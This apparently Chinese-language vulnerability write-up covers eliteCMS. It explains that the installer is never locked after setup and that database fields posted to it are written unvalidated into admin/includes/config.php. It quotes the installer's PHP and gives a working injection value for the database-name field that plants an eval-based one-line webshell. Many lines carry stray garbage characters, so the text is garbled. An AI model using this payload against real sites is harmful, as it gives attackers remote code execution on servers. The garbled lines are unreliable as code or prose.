eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

0 y: C, o* T6 u6 f" @另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
. p- F+ f$ ?3 O: K! u& D我们来看代码：

3 q3 i& {6 c7 i7 [9 W4 h...
elseif ($_GET['step'] == "4") {
* l+ o* j0 q' A( t) L& E    $file = "../admin/includes/config.php";
* g) h5 m5 a% R$ }7 E. z  H, u    $write = "<?php\n";
/ D* u- P& T- h) ?8 Y% M4 F1 Z    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
9 x) Z% D: X" t2 s...略...
. h6 B- f3 S  K9 a) g    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
- b. j. l+ [' v- l9 }  `# P    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
# @, X7 ^  D* m5 Z4 ~" t    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
# |: X1 y. ^2 i) o# m    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
* I, x: O5 K1 `" z. _    $write .= "} \n";
    $write .= "?>\n";

. v% V) d& ]5 t    $writer = fopen($file, 'w');
...
: L  V. f" w. I/ u
+ M9 e+ ?0 ?, E0 @+ _在看代码：
6 t( g. V- H5 J- @5 x
9 N* j) i! x/ N$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
( V; z, ~( D( G7 D; T$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
, T! F  {2 m. Z; S6 U6 r- j
* r; t3 ?; M/ M  i7 I! K* G取值未作任何验证
如果将数据库名POST数据：
, e# _9 c4 o' C8 p  X  x- W
"?><?php eval($_POST[c]);?><?php
' h3 H* g0 J  Z7 z, u6 Z
将导致一句话后门写入/admin/includes/config.php
9 [; k  m$ P. S+ b% E